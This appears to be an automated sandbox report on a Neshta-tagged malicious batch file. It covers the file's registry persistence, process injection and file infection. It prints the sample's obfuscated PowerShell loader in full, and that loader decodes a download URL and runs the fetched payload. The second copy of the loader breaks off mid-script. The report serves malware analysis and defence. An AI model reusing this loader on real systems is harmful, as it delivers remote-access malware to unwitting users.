Malware Analysis Report

2024-09-11 03:20

Sample ID 240523-t7l5wshd5x
Target kam.cmd
SHA256 c67dbe7d1bfb36fcab8391ea0728382445c106fb08ad19f9a3fb3777cdef5562
Tags
neshta execution persistence spyware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c67dbe7d1bfb36fcab8391ea0728382445c106fb08ad19f9a3fb3777cdef5562

Threat Level: Known bad

The file kam.cmd was found to be: Known bad.

Malicious Activity Summary

neshta execution persistence spyware

Neshta

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Modifies system executable filetype association

Loads dropped DLL

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Drops file in Windows directory

Drops file in Program Files directory

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Modifies registry class

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Event Triggered Execution
T1546
Change Default File Association
T1546.001
Privilege Escalation
TA0004
Event Triggered Execution
T1546
Change Default File Association
T1546.001
Defense Evasion
TA0005
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-23 16:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-23 16:41

Reported

2024-05-23 16:44

Platform

win7-20240508-en

Max time kernel

121s

Max time network

123s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\kam.cmd"

Signatures

Neshta

persistence spyware neshta

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Modifies system executable filetype association

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2488 set thread context of 2648 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\ACROBR~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GO664E~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\DISABL~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSTORDB.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\SELFCERT.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\wmlaunch.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\wmpshare.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\LICLUA.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSQRY32.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\SOURCE~1\OSE.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~1\WinMail.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\DW\DWTRIG20.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOBD5D~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\BCSSync.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\misc.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\PPTICO.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\AcroRd32.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\Adobe\Updater6\ADOBEU~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\INTERN~1\iexplore.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\CLVIEW.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\XLICONS.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\setup_wm.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\wmpconfig.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\wmplayer.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WI54FB~1\wmprph.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\OIS.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WI4223~1\sidebar.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{57A73~1\VC_RED~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOXMLED.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSOSYNC.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\WINWORD.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\A3DUTI~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\EQUATION\EQNEDT32.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\1033\ONELEV.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\GROOVEMN.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\POWERPNT.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~1\wabmig.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\WINDOW~2\ACCESS~1\wordpad.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOICONS.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\IECONT~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSOHTMED.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\Eula.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Adobe\READER~1.0\SETUPF~1\{AC76B~1\Setup.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\Oarpmany.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\Setup.exe C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\ACCICONS.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\MOZILL~1\UNINST~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\FLTLDR.EXE C:\Program Files (x86)\windows mail\wab.exe N/A
File opened for modification C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE C:\Program Files (x86)\windows mail\wab.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\svchost.com C:\Program Files (x86)\windows mail\wab.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1720 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1720 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1720 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2868 wrote to memory of 3016 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2868 wrote to memory of 3016 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2868 wrote to memory of 3016 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2868 wrote to memory of 2488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2868 wrote to memory of 2488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2868 wrote to memory of 2488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2868 wrote to memory of 2488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2488 wrote to memory of 2928 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2488 wrote to memory of 2928 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2488 wrote to memory of 2928 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2488 wrote to memory of 2928 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2488 wrote to memory of 2648 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2488 wrote to memory of 2648 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2488 wrote to memory of 2648 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2488 wrote to memory of 2648 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2488 wrote to memory of 2648 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2488 wrote to memory of 2648 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\kam.cmd"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$Sanguinarily='Sub';$Sanguinarily+='strin';$Colour = 1;$Sanguinarily+='g';Function Circuted($Kropsvisiteret26){$Blazer=$Kropsvisiteret26.Length-$Colour;For($Tvrfljte=5;$Tvrfljte -lt $Blazer;$Tvrfljte+=6){$Intraperitoneally+=$Kropsvisiteret26.$Sanguinarily.Invoke( $Tvrfljte, $Colour);}$Intraperitoneally;}function Udkrte($Udmatningens){ . ($Polarizer) ($Udmatningens);}$Ontological=Circuted 'AlenlMGynobo AnimzCopiei Dekll UnbrlKaramaD,esk/ Abso5 edrr.C.apt0Clemp Notc(Dru,nWunifoiNailenPr.madCo.seoUnbuiwSheepsfrste MetalNUnderTL ndq Prede1Scrip0Postt.Penty0 dra.;Gidsl Spnd,WP ddii.rembnBa ng6 ,ram4B roc;Rkebi RaasxTermt6 D.ej4 Kn.r;Ringt LassorDiscjvCa.bi:archt1Bicen2Aftgt1O,tol. Sile0Sulfo)Diver Prof.G,fglaePen,acFalk,k Fi,hoNethi/Admir2Encin0Griff1 Tram0Cytis0M,tro1lufti0Kben 1Mech, ForblFDr.gaigkantrD,mmee Forrf gelsoSlag,x Sia./Lande1 Un i2Denot1Baand. E eb0 Sost ';$Pullouts=Circuted ' Eva,U,epousLu tleNonderMange- MellACamorgbkarveTo.fun UnpotZeppe ';$Skraaremmens=Circuted 'Gim ehLusketSidettSamlepcalcas Bo.i: Circ/Lseti/TruthwbackfwRegiswUbesl. karisDec neineq nCo kadBerylsRiotep lichaadaptcJenh,eGlott.BademcA osto .aktmD.ght/HydropDecimrH,spioDamas/Homeod.aretlXerot/ DesiiVi li4Gjord1 FreeaLupan7 alvf6 Loes ';$Spisestel=Circuted 'Bolte>Cubin ';$Polarizer=Circuted 'S irriFlykkeRa,idxKonst ';$Spiegeleisen='Decephalize';$Thermoremanent12 = Circuted ' Hecte Frejc,vigehPrem,oUdtry Udska%Klemea FolkpNogggpAgnindgvenda.odsetRegloaarchi%Krimi\uv.asKunivelNonada mishv PalbeTal,yrOmop sGassl.B,dstUAposteDyppen Eino .verl& Sprj&Te,no Scane Kongc ModehPollaojejun Varu tWindi ';Udkrte (Circuted 'Nonsy$IndisgFeriel,anneoUgerabOutlaaAnti l,rist:WillyNMytolo,rocenun ersStilitBraktuUnsh d FascySurli=Kdest(BeforcProtom OverdVolde Flers/Unde.cDisin Whabb$ G,amTHjemmh araleScarvrSe uemUsnoboKardirRoeddePeri,mHenhraI,difnLurefegerman .omet ,lle1Over 2Sub.e) ,und ');Udkrte (Circuted 'averr$Luf,egFaerdlTaphvoBru.sbArchpa Flytl Diss:TurnePTautoaResigrGorinaSel.kpNonaroNrmeldRev,l=Co.on$AkkusSSuperk C enrActedaOplseaAf,kir ilmeDi tam gattm T.leeLrlinnSk,bssPopul. fyris U depsnedkl.alkiiAutontSofav( Baro$EnklaSHygroppiqueiheav,sMeteoeOpbudsHals tBie.dekamm.lDydsk).orsv ');$Skraaremmens=$Parapod[0];$Kriminalromans= (Circuted 'Orgel$Zonopgun,erlUdstoobrdskbBostra V,sslUnbal:PositAAabnin.airbdVect,eUmedgfPagi.aP ohidVandleFlagsrArgene CactnRhota=CykelNEppieeDalr wNitzh-UdradO SletbPaaklj,oacceRabarcSlumptSmurr DiplaSUncolyPil.rsCattatB.sageEjendmF rda. SvigNSprngeBeslutZapti. Co,dWHusbaegan,tbHypocCTopollOestriThumbe Bi on Skldt');$Kriminalromans+=$Nonstudy[1];Udkrte ($Kriminalromans);Udkrte (Circuted 'Fiksp$U,derAOmstinHampsdhyposeI iqufOlo,ea Rectd,rinteStudirUndsae.zarinAlphi. UtilHSaccaeHesseaDiaspd SbireFilmar PttssSemec[Tknin$ VirkP,pdrauBestilEmbralExpeloskraluOpsamtGamblsCorru] Mill=gente$ComorO MidtnUfordtspecio Ef el C lio Fodgg.valmi Uns.cIstanaKaravlSlag. ');$Amenable=Circuted ' Unio$ Fa.rASkr,lnRetoudPottieKassefInstia IndudNap.deC,olurOverfeUncomnFlomm.ProduDRejseoSpanlw,lgtsnUdkoml T.nko ,luka HenvdSysteFSkrmdi.ortel IllaeParak(Mis,i$B gstSkilomkTricorNon haSkovraDuod.rB ntweJussim.eordmComp eGigannPh,nes Prog,Un,na$ a byDUncapu Sanks onstAfskapHrg.roTra,diHastin EpiztRefec)Adroi ';$Dustpoint=$Nonstudy[0];Udkrte (Circuted 'S.efn$UdsttgBeskyl elloAnginbStyreaRespelNonco:ScintPKomitaK bler,ontra Tricm S akySikahoPa,igcExplalNonfeo Thern.laddu BlomsRa.ad=dand.(,mbelTSt.inef,rdjs InfitGummi-CheckP SamsaExcretmandahInd,s Ubeti$DewfaDWarbluAfmytsForeltBarrip AngioC.loriFoaminResult Deej)Truss ');while (!$Paramyoclonus) {Udkrte (Circuted 'Steth$ F emgst ndl ValeoGra,sb Se.iaMemorl phea:OpirrH GashoTach.vS.rteeSvierd FounsH emma Fedel Intea Hks.tReguleFod,orSt.lt=lania$ Ageit MegerScyphu .ilbeTrout ') ;Udkrte $Amenable;Udkrte (Circuted ' PorpSRandotLimo,aZunisrB.nkrtMun.k-GypteST.anqlP efoeBactee Forhpmarku Culte4Oktan ');Udkrte (Circuted 'Adiab$ .anggSphe l soljo L.ncbWistiaSpinelS,mis:Bath PUac ea Ti srMiddaa.lassmLine,yHyperoDemobcSau,olForbroVrgelnG.dlsugenansStill=For.m(DuritT Te,neDemarsSelectLege.-AnlgsPRinjiaTraittLandih S lf A,ipo$ColliDPaxamufinansR,sentMust,p Rituo OlieiGaussnTyp gtAnthr)Alkoh ') ;Udkrte (Circuted 'Jubel$CubbygUdflelSmirkoSc,osbVocifaAsexul ,roc:Sa gsN .gndoTrternFinlasHi,lgeOpmrkvTroileSc.nsrsan,ei AccetCo.yni InsueUtjspsSocia=Edema$ BrysgHydr l S,ikoBeamab Pogoade,telSabat: VaabDBill,y,ekstr vabe Fi.drParaliPr,pogRodese LnfosNarci+ Bara+ Pric%.syls$H,droPDalmaaIdrtsrMisw,asr.espcom,yoKlejnd uldb.osteicDentaoReng.u St un Opgrt esk ') ;$Skraaremmens=$Parapod[$Nonseverities];}$Genindkalder112=320122;$Uncharge=28893;Udkrte (Circuted ' issp$Pos.kg.affel,obotoCerclb.edfra AnsglSemiy:L.jrsFT.steu RifalArbejdinde,eP,ckpnSpaltdNon,eeKuldkn Kl pdForbre Angr t kst=Echin HoundGPr,toe .alutBrneh-,ekreC downoaerugn Beg t MulleLedevn.ndeftOutdr Bi tr$ oreiD.andsumineasRe.artGardipAfstroCymogi DolenImdegtGangl ');Udkrte (Circuted 'H.ppe$depotgPolyplServooretspbChi,eaSuperlPre,c:NulstF DagliAftenrP,oteeProseoPostpgchrist O,eryOutg vPo,nse adinsTekst Pinda=B vaa Virke[Rya,bSOutp,yVegecsSwee tWe.daeOpaq m ,tom.MakinC Ec,ao RelenHalv vKar.oePtil.r WashtIndfr]Speck:Vedta: AflyFSsterrGg.ero Un,imBirtiBCarolaCombrsbldgreSc,og6Tempo4HjernSAdrestSt.phrGevini,uditnplantgBurge(nonpe$ Enr FreglouK.akslPro ldSto.ae.ullanWitnedarbejeKludenCrossdRetsbeUnder)Rose, ');Udkrte (Circuted 'Solip$SharpgMo,snlS.ottoBrutabBaggraSpa el Futi: utstEGrosgl IndfaKettipan.elhBr etuPetalrSnailu jurisEn,la1 Delb5 Te,h .ncon=Viges Aktio[ GnidS Gal,yC tassEm,nctTenoneSynecm syba..ebatTB,rdfes,nsfxGr.cetEurot.RhumbEGldsbnScarrcOver,oBesondtaxpaiUd,honTraadgSides] Vand:Sikah:AllopARee.pSRovetC ScioISorteITllel..bensGOnst.eDavietSwagbSBurr,t RegnrArmodirubrinFormegMaan.(Confi$NonetFTiltaiU taprTrinneAgroso Urvrg Kodet FrpeyBarnyv Lo,geEr.essArres)S rpe ');Udkrte (Circuted 'Fusen$Nanocg lectl.rlovoSt.llb.ivasaByplalDisha: BobbEEksekk SadlsoverwiBeshrlInv,clUrrl,eEndaddNatioe Pr,er Stil2,anta3Inbur0Tress=Udfrd$HundrEPiratlFokusa SpecpSlvfahTilkauTriasr HarpuAttessNiflh1Godfr5P.ilo.ChaetsUneffuBushwbSu,ersstegatSloverDyrekiSkruenRekomgSorti(Vindh$ BortGunruseNomadnReadmiUnme nPlatid S.amkBordea.spirlSer edKnytte Stilr Stil1Mammi1Valgm2 Blep, N.dd$ AnalUMammanPudiac sarch Fo.saAbiosr RetsgT.uemeWaist)Lung. ');Udkrte $Eksilleder230;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klavers.Uen && echo t"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Sanguinarily='Sub';$Sanguinarily+='strin';$Colour = 1;$Sanguinarily+='g';Function Circuted($Kropsvisiteret26){$Blazer=$Kropsvisiteret26.Length-$Colour;For($Tvrfljte=5;$Tvrfljte -lt $Blazer;$Tvrfljte+=6){$Intraperitoneally+=$Kropsvisiteret26.$Sanguinarily.Invoke( $Tvrfljte, $Colour);}$Intraperitoneally;}function Udkrte($Udmatningens){ . ($Polarizer) ($Udmatningens);}$Ontological=Circuted 'AlenlMGynobo AnimzCopiei Dekll UnbrlKaramaD,esk/ Abso5 edrr.C.apt0Clemp Notc(Dru,nWunifoiNailenPr.madCo.seoUnbuiwSheepsfrste MetalNUnderTL ndq Prede1Scrip0Postt.Penty0 dra.;Gidsl Spnd,WP ddii.rembnBa ng6 ,ram4B roc;Rkebi RaasxTermt6 D.ej4 Kn.r;Ringt LassorDiscjvCa.bi:archt1Bicen2Aftgt1O,tol. Sile0Sulfo)Diver Prof.G,fglaePen,acFalk,k Fi,hoNethi/Admir2Encin0Griff1 Tram0Cytis0M,tro1lufti0Kben 1Mech, ForblFDr.gaigkantrD,mmee Forrf gelsoSlag,x Sia./Lande1 Un i2Denot1Baand. E eb0 Sost ';$Pullouts=Circuted ' Eva,U,epousLu tleNonderMange- MellACamorgbkarveTo.fun UnpotZeppe ';$Skraaremmens=Circuted 'Gim ehLusketSidettSamlepcalcas Bo.i: Circ/Lseti/TruthwbackfwRegiswUbesl. karisDec neineq nCo kadBerylsRiotep lichaadaptcJenh,eGlott.BademcA osto .aktmD.ght/HydropDecimrH,spioDamas/Homeod.aretlXerot/ DesiiVi li4Gjord1 FreeaLupan7 alvf6 Loes ';$Spisestel=Circuted 'Bolte>Cubin ';$Polarizer=Circuted 'S irriFlykkeRa,idxKonst ';$Spiegeleisen='Decephalize';$Thermoremanent12 = Circuted ' Hecte Frejc,vigehPrem,oUdtry Udska%Klemea FolkpNogggpAgnindgvenda.odsetRegloaarchi%Krimi\uv.asKunivelNonada mishv PalbeTal,yrOmop sGassl.B,dstUAposteDyppen Eino .verl& Sprj&Te,no Scane Kongc ModehPollaojejun Varu tWindi ';Udkrte (Circuted 'Nonsy$IndisgFeriel,anneoUgerabOutlaaAnti l,rist:WillyNMytolo,rocenun ersStilitBraktuUnsh d FascySurli=Kdest(BeforcProtom OverdVolde Flers/Unde.cDisin Whabb$ G,amTHjemmh araleScarvrSe uemUsnoboKardirRoeddePeri,mHenhraI,difnLurefegerman .omet ,lle1Over 2Sub.e) ,und ');Udkrte (Circuted 'averr$Luf,egFaerdlTaphvoBru.sbArchpa Flytl Diss:TurnePTautoaResigrGorinaSel.kpNonaroNrmeldRev,l=Co.on$AkkusSSuperk C enrActedaOplseaAf,kir ilmeDi tam gattm T.leeLrlinnSk,bssPopul. fyris U depsnedkl.alkiiAutontSofav( Baro$EnklaSHygroppiqueiheav,sMeteoeOpbudsHals tBie.dekamm.lDydsk).orsv ');$Skraaremmens=$Parapod[0];$Kriminalromans= (Circuted 'Orgel$Zonopgun,erlUdstoobrdskbBostra V,sslUnbal:PositAAabnin.airbdVect,eUmedgfPagi.aP ohidVandleFlagsrArgene CactnRhota=CykelNEppieeDalr wNitzh-UdradO SletbPaaklj,oacceRabarcSlumptSmurr DiplaSUncolyPil.rsCattatB.sageEjendmF rda. SvigNSprngeBeslutZapti. Co,dWHusbaegan,tbHypocCTopollOestriThumbe Bi on Skldt');$Kriminalromans+=$Nonstudy[1];Udkrte ($Kriminalromans);Udkrte (Circuted 'Fiksp$U,derAOmstinHampsdhyposeI iqufOlo,ea Rectd,rinteStudirUndsae.zarinAlphi. UtilHSaccaeHesseaDiaspd SbireFilmar PttssSemec[Tknin$ VirkP,pdrauBestilEmbralExpeloskraluOpsamtGamblsCorru] Mill=gente$ComorO MidtnUfordtspecio Ef el C lio Fodgg.valmi Uns.cIstanaKaravlSlag. ');$Amenable=Circuted ' Unio$ Fa.rASkr,lnRetoudPottieKassefInstia IndudNap.deC,olurOverfeUncomnFlomm.ProduDRejseoSpanlw,lgtsnUdkoml T.nko ,luka HenvdSysteFSkrmdi.ortel IllaeParak(Mis,i$B gstSkilomkTricorNon haSkovraDuod.rB ntweJussim.eordmComp eGigannPh,nes Prog,Un,na$ a byDUncapu Sanks onstAfskapHrg.roTra,diHastin EpiztRefec)Adroi ';$Dustpoint=$Nonstudy[0];Udkrte (Circuted 'S.efn$UdsttgBeskyl elloAnginbStyreaRespelNonco:ScintPKomitaK bler,ontra Tricm S akySikahoPa,igcExplalNonfeo Thern.laddu BlomsRa.ad=dand.(,mbelTSt.inef,rdjs InfitGummi-CheckP 